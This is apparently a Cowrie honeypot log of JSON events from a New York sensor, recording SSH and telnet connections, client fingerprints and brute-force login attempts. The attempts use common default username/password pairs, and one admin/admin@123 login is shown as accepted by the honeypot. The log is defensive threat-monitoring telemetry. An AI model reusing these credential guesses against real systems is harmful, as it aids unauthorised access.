{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:19.262993Z","src_ip":"43.162.98.118","session":"fe66d2ddc0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka1234","message":"login attempt [kafka/kafka1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:19.568788Z","src_ip":"43.162.98.118","session":"fe66d2ddc0a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:20.640064Z","src_ip":"43.162.98.118","session":"fe66d2ddc0a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.11451292037964,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:20.660409Z","src_ip":"69.65.3.189","session":"1aab86670ba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.798303842544556,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:24.244781Z","src_ip":"69.65.3.189","session":"0162faff581c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.59573531150818,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:28.344904Z","src_ip":"69.65.3.189","session":"b4e11ee1155f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":44752,"dst_ip":"159.203.135.109","dst_port":22,"session":"e69033946272","protocol":"ssh","message":"New connection: 36.92.140.209:44752 (159.203.135.109:22) [session: e69033946272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:44.174603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:44.183569Z","src_ip":"36.92.140.209","session":"e69033946272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:44.457233Z","src_ip":"36.92.140.209","session":"e69033946272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qq.com","message":"login attempt [root/123@qq.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:45.566022Z","src_ip":"36.92.140.209","session":"e69033946272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:46.841794Z","src_ip":"36.92.140.209","session":"e69033946272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":44500,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f2b8930a4fd","protocol":"ssh","message":"New connection: 43.162.98.118:44500 (159.203.135.109:22) [session: 4f2b8930a4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:09.877960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:09.882991Z","src_ip":"43.162.98.118","session":"4f2b8930a4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:09.953140Z","src_ip":"43.162.98.118","session":"4f2b8930a4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rds","message":"login attempt [ubuntu/P@ssw0rds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:10.264964Z","src_ip":"43.162.98.118","session":"4f2b8930a4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:11.336370Z","src_ip":"43.162.98.118","session":"4f2b8930a4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00154614448547,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:15.838803Z","src_ip":"136.37.89.108","session":"7559c6390d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00097322463989,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:17.630117Z","src_ip":"136.37.89.108","session":"f23881088d97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.37.89.108","src_port":42687,"dst_ip":"159.203.135.109","dst_port":23,"session":"edfa21e5f2ac","protocol":"telnet","message":"New connection: 136.37.89.108:42687 (159.203.135.109:23) [session: edfa21e5f2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:20.380408Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.37.89.108","src_port":42714,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4719a1dc574","protocol":"telnet","message":"New connection: 136.37.89.108:42714 (159.203.135.109:23) [session: f4719a1dc574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:21.695351Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44944,"dst_ip":"10.17.0.5","dst_port":22,"session":"343e99f191fa","protocol":"ssh","message":"New connection: 80.94.92.184:44944 (10.17.0.5:22) [session: 343e99f191fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:35.151196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:35.309625Z","src_ip":"80.94.92.184","session":"343e99f191fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:35.313889Z","src_ip":"80.94.92.184","session":"343e99f191fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:37.141180Z","src_ip":"80.94.92.184","session":"343e99f191fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:38.254525Z","src_ip":"80.94.92.184","session":"343e99f191fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":50194,"dst_ip":"159.203.135.109","dst_port":22,"session":"acfccd2ed61f","protocol":"ssh","message":"New connection: 36.92.140.209:50194 (159.203.135.109:22) [session: acfccd2ed61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:43.937097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:43.942233Z","src_ip":"36.92.140.209","session":"acfccd2ed61f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:44.214795Z","src_ip":"36.92.140.209","session":"acfccd2ed61f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jy123456","message":"login attempt [root/Jy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:45.334122Z","src_ip":"36.92.140.209","session":"acfccd2ed61f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:39:46.610554Z","src_ip":"36.92.140.209","session":"acfccd2ed61f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":49548,"dst_ip":"159.203.135.109","dst_port":22,"session":"69b5bb15004f","protocol":"ssh","message":"New connection: 43.162.98.118:49548 (159.203.135.109:22) [session: 69b5bb15004f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:00.046773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:00.050975Z","src_ip":"43.162.98.118","session":"69b5bb15004f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:00.121467Z","src_ip":"43.162.98.118","session":"69b5bb15004f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ABCabc123","message":"login attempt [user/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:00.435224Z","src_ip":"43.162.98.118","session":"69b5bb15004f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":59402,"dst_ip":"10.17.0.5","dst_port":22,"session":"e604153eaf51","protocol":"ssh","message":"New connection: 103.228.69.212:59402 (10.17.0.5:22) [session: e604153eaf51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:01.467500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:01.472693Z","src_ip":"103.228.69.212","session":"e604153eaf51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:01.533032Z","src_ip":"43.162.98.118","session":"69b5bb15004f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:01.698566Z","src_ip":"103.228.69.212","session":"e604153eaf51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iran","message":"login attempt [root/iran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:02.629343Z","src_ip":"103.228.69.212","session":"e604153eaf51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:03.856996Z","src_ip":"103.228.69.212","session":"e604153eaf51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":51262,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d0796163b77","protocol":"ssh","message":"New connection: 36.92.140.209:51262 (159.203.135.109:22) [session: 8d0796163b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:42.379946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:42.384664Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:42.658445Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:43.781448Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
